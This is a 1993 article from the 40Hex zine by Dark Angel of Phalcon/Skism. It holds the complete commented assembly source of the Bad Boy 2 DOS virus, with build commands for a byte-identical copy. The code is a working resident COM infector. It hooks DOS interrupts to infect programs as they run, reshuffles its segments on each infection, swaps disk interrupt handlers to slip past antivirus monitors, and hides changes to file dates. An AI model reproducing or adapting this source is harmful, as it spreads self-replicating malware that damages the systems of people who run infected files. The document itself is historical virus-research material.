The following is the Bad Boy 2 virus. Patricia M. Hoffman's VSUM is clearly
not a good source of virus description, so we will not bother including its
utterly useless description of the virus here. Bad Boy 2 is a resident COM
infector. After 10 infections, it turns itself off. Although most of the
code is written well, there are still a few bugs and inconsistencies in it.
It implements several well-known stealth techniques, including playing with
the system file table. It is a segmented virus, with variable placement of
each segment when it infects a file. Thus the locations of each segment in
the virus relative to each other changes upon each infection.
For a byte-to-byte match up of the original, assemble with the following:
tasm badboy2.asm
tlink /t badboy2.asm
Note only one pass is required.
Dark Angel
Phalcon/Skism 1993
-------------------------------------------------------------------------------
.model tiny
.code
org 100h
; Bad Boy 2 virus
; Disassembly done by Dark Angel of Phalcon/Skism
; For 40Hex Issue 10 Volume 3 Number 1
start:
push cs:startviruspointer ; save on stack for
push cs ; return
pop ds
jmp word ptr cs:encryptpointer ; decrypt virus
endstart:
pop cx
pop bx
add bx,2 ; go to next segment
loop do_next_segment
retn
endencrypt:
startvirus:
mov es,cs:[2] ; get top of memory
mov di,100h ; check if virus
mov si,100h ; already resident
mov cx,offset endstart - offset start - 1
rep cmpsb
jnz not_installed ; continue if not
jmp cs:exitviruspointer ; otherwise, quit
not_installed:
mov ax,cs ; get current program's
dec ax ; MCB
mov ds,ax
cmp byte ptr ds:[0],'Z' ; check if last one
;nop
je is_last_MCB ; continue if so
jmp cs:exitviruspointer ; otherwise, quit
is_last_MCB:
rsize = ((endvirus - start + 15)/16+1)*3 ; resident size in
; paragraphs
sub word ptr ds:[3],rsize ; decrease MCB's memory
mov ax,es ; get segment of high memory
sub ax,rsize ; decrease by virus size
mov es,ax ; es = start segment of virus
mov ds:[12h],ax ; put value in PSP top of
; memory field
push cs
pop ds
mov cs:infcounter,0 ; clear infection counter
mov di,100h
mov cx,offset enddata - offset start
mov si,100h
rep movsb
mov bx,cs:encryptpointer
add bx,encrypt_segment-encrypt+1
xor byte ptr [bx],18h ; change to: xor [bx],bl
; shuffling segments to different locations
mov cx,8
mov curpointer,offset encrypt
shuffle:
push cx
call random_segment
push bx
mov ax,[bx]
push ax
add bx,encryptlength-encryptpointer
mov cx,[bx]
pop si
pop bx
xchg di,curpointer
mov es:[bx],di ; copy segment
rep movsb ; to memory area
xchg di,curpointer
mov ax,8000h
or [bx],ax ; mark already copied
pop cx
loop shuffle
mov cl,8
not ax ; ax = 7FFFh
mov bx,offset encryptpointer
clear_hibit: ; restore the pointers
and [bx],ax
add bx,2
loop clear_hibit
jmp cs:installpointer
random_segment:
push cx
push es
xor cx,cx
mov es,cx
random_segment_loop:
mov bx,es:[46Ch] ; get timer ticks since
; midnight MOD 8
db 081h,0e3h,7,0 ; and bx,7
shl bx,1 ; multiply by 2
add bx,offset encryptpointer
test word ptr [bx],8000h ; check if already moved
jnz random_segment_loop ; do it again if so
pop es
pop cx
retn
endstartvirus:
install:
xor ax,ax
mov ds,ax ; ds->interrupt table
mov ax,ds:21h*4 ; save old int 21h handler
mov es:oldint21,ax
mov ax,ds:21h*4+2
mov word ptr es:oldint21+2,ax
mov ah,30h ; get DOS version
int 21h
cmp ax,1E03h ; 3.X?
jne not_DOS_3X ; skip if not
mov es:origint21,1460h ; use known value for int 21h
mov ax,1203h ; get DOS segment
push ds
int 2Fh
mov word ptr es:origint21+2,ds
pop ds
jmp short is_DOS_3X
nop
not_DOS_3X:
mov ax,ds:21h*4
mov es:origint21,ax
mov ax,ds:21h*4+2
mov word ptr es:origint21+2,ax
is_DOS_3X:
cli ; set new int 21h handler
mov ax,es:int21pointer
mov ds:21h*4,ax
mov ax,es
mov ds:21h*4+2,ax
sti
mov cx,es
mov ah,13h ; get old DOS disk handler
int 2Fh ; to es:bx
push es
mov es,cx
mov es:DOSdiskOFF,dx
mov es:DOSdiskSEG,ds
pop es
int 2Fh ; restore DOS disk handler
jmp cs:exitviruspointer
endinstall:
exitvirus:
push cs ; copy return routine to
push cs ; buffer at end of file
pop ds ; and transfer control
pop es ; to it
mov si,cs:exitviruspointer
add si,offset return_to_COM - offset exitvirus
;nop
mov di,cs:filesize
add di,offset endvirus
push di
mov cx,offset end_return_to_COM - offset return_to_COM
cld
rep movsb
retn ; jmp to return_to_COM
return_to_COM:
mov si,cs:filesize
add si,100h
cmp si,offset endvirus ; check if small file
jae not_negative ; if not, skip next
mov si,offset endvirus ; adjust for too small
not_negative:
mov di,100h
mov cx,offset endvirus - offset start - 1 ; ????
rep movsb ; copy old file to start
mov ax,100h ; and exit the virus
push ax
retn
end_return_to_COM:
message db 'The Bad Boy virus, Version 2.0, Copyright (C) 1991.',0
endint24:
int21:
push bx
push si
push di
push es
push ax
cmp ax,4B00h ; check if execute
jz execute ; continue if so
jmp short exitint21
nop
execute:
push ds
push cs
pop es
xor ax,ax
mov ds,ax
mov si,24h*4 ; get old int 24h
mov di,offset oldint24 ; handler
movsw
movsw
mov ax,cs:int24pointer
cli ; set new critical error
mov ds:24h*4,ax ; handler
mov ax,cs
mov ds:24h*4+2,ax
sti
pop ds
mov ax,3D00h ; open file read only
pushf
call dword ptr cs:oldint21
jc restore_exitint21
mov bx,ax ; handle to bx
call cs:infectpointer
pushf
mov ah,3eh ; close file
pushf
call dword ptr cs:oldint21
popf
jc restore_exitint21
push ds
cli ; subvert nasty disk
xor ax,ax ; monitoring programs
mov ds,ax
mov ax,cs:DOSdiskOFF
xchg ax,ds:13h*4
mov cs:DOSdiskOFF,ax
mov ax,cs:DOSdiskSEG
xchg ax,ds:13h*4+2
mov cs:DOSdiskSEG,ax
sti
pop ds
restore_exitint21:
push ds
xor ax,ax
mov ds,ax
mov ax,cs:oldint24
mov ds:24h*4,ax
mov ax,word ptr cs:oldint24+2
mov ds:24h*4+2,ax
pop ds
exitint21:
pop ax
pop es
pop di
pop si
pop bx
jmp dword ptr cs:oldint21
endint21:
infect:
push cx
push dx
push ds
push es
push di
push bp
push bx
mov ax,1220h ; get JFT entry for file
int 2Fh ; handle bx
mov bl,es:[di]
xor bh,bh
mov ax,1216h ; get associated SFT
int 2Fh ; entry to es:di
pop bx
mov ax,es:[di+11h] ; get file size
cmp ax,0F000h ; exit if too large
jb not_too_large
jmp errorinfect
not_too_large:
mov word ptr es:[di+2],2 ; set to read/write mode
mov ax,es:[di+11h] ; get file size (again)
mov cs:filesize,ax ; save it
mov ax,es:[di+0Dh] ; get file time
mov cs:filetime,ax ; save it
mov ax,es:[di+0Fh] ; get file date
mov cs:filedate,ax ; save it
push cs
pop ds
mov dx,4E9h
mov cx,3E8h
mov ah,3Fh ; Read from file
pushf
call dword ptr cs:oldint21
jnc read_ok
jmp errorinfect
read_ok:
mov bp,ax
mov si,dx
mov ax,'MZ' ; check if EXE
cmp ax,[si]
jne not_MZ
jmp errorinfect
not_MZ:
xchg ah,al
cmp ax,[si] ; check if EXE
jne not_ZM
jmp errorinfect
not_ZM:
push es
push di
push cs
pop es
mov si,100h ; check if already
mov di,dx ; infected
mov cx,offset endstart - offset start - 1
repe cmpsb
pop di
pop es
jnz not_already_infected
jmp errorinfect
not_already_infected:
mov word ptr es:[di+15h],0
push es
push di
mov si,cs:infectpointer
add si,offset write_virus - offset infect
xor di,di
push cs
pop es
mov cx,offset end_write_virus-offset write_virus
cld
rep movsb
pop di
pop es
mov si,cs:infectpointer
add si,offset finish_infect - offset infect
push si
xor si,si
push si
push ds
cli ; subvert nasty
xor ax,ax ; antivirus programs
mov ds,ax
mov ax,cs:DOSdiskOFF
xchg ax,ds:13h*4
mov cs:DOSdiskOFF,ax
mov ax,cs:DOSdiskSEG
xchg ax,ds:13h*4+2
mov cs:DOSdiskSEG,ax
sti
pop ds
retn
finish_infect:
mov ax,5701h ; restore file time/date
mov cx,cs:filetime
mov dx,cs:filedate
pushf
call dword ptr cs:oldint21
inc cs:infcounter
cmp cs:infcounter,10d ; after 10 infections,
jne infectOK
call cs:restoreint21pointer ; turn off virus
jmp short infectOK
errorinfect:
stc ; set error flag
jmp short exitinfect
infectOK:
clc ; clear error flag
exitinfect:
pop bp
pop di
pop es
pop ds
pop dx
pop cx
retn
endinfect:
db 0
endvirus:
int 20h
carrierencrypt:
mov word ptr cs:encryptpointer,offset encrypt
retn
end start
-------------------------------------------------------------------------------
DA